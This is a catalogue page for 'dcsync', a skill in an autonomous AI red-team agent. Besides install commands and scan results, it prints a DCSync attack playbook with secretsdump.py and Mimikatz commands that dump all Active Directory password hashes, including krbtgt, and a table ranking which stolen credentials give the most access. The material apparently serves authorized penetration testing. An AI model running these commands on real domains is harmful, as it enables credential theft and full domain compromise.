Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill dcsyncgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/dcsync)<a href="https://agentmods.dev/skills/purpleailab/decepticon/dcsync"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dcsync/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dcsync"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dcsync.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 18 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high YARA Match · line 58 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00035 | $0.01393 |
| Opus 5.5 | $0.00014 | $0.00557 |
| Sonnet 5.5 | $0.00007 | $0.00279 |
| Haiku 4.5 | $0.00003 | $0.00139 |
Grade A, and why
dcsync scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- dcsync — 94% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 134 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DCSync Playbook
DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.
1. Identify DCSync candidates
From BloodHound:
kg_query(kind="user", filter="dcsync=true") +
kg_query(kind="group", filter="dcsync=true")
Or Cypher direct:
MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)
Common holders (legitimate):
- Domain Admins, Enterprise Admins, Domain Controllers
- Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
- Replicator (rare)
Common holders (misconfig = jackpot):
- Service accounts (admins delegated mistakenly)
- Helpdesk groups
- Groups from old migrations
2. Execute DCSync
Impacket (most reliable):
# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
-outputfile /tmp/secrets
# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'
# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc
# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc
Mimikatz (from Windows):
lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv
3. Output files
secretsdump produces:
/tmp/secrets.ntds—user:RID:LM_HASH:NT_HASH:::format/tmp/secrets.ntds.kerberos— Kerberos keys (aes256, aes128, des)/tmp/secrets.ntds.cleartext— any reversibly-encrypted passwords (rare, but yes)
4. Highest-value secrets to grab
| User | Why | What unlocks |
|---|---|---|
krbtgt |
Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) |
Administrator |
Built-in domain admin | Direct admin on most assets |
| Domain Admin members | Lateral movement | Most assets |
<trustname>$ |
Trust accounts | Cross-forest movement |
| Service accounts | Often local admin on hosts | Lateral movement |
| Exchange computer accounts | Mailbox access | E-discovery / pivot |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 134 lines · 35 tokens per session scan A f65f4757d220
dcsync is a skill published in the GitHub repository PurpleAILAB/Decepticon (6,286 stars, last pushed 7d ago), licensed Apache-2.0. It adds 35 tokens to every session and 1,393 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors, served via preview URL.
company-profile
One-page company profile slide, four quadrants of overview, financial summary, share price chart and key facts. Also the compact profile paragraph when it has to sit inside a memo, a deck or a chat reply. Triggers on one-page profile, tear sheet, company snapshot, profile slide, quick profile of [company].
idea-generation
Find long and short candidates across a universe when no name is on the table yet: mandate, universe validation, archetype screens, thematic sweep, triage, idea cards, idea log. Triggers on idea generation, stock screen, find ideas, what looks interesting, screen for, new ideas, pitch me something.
onboarding
First run after the user saves their investing profile: import holdings and watchlists from the brokerage they connected or the screenshots they attached, then propose three first tasks (one on their portfolio or watchlist, one from their profile, one on today's market) and do the one they pick.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
research-report
A method for writing a research report, topic review, or comparison from supplied material. It separates evidence, source authors' views, and the writer's inferences while keeping sources identifiable.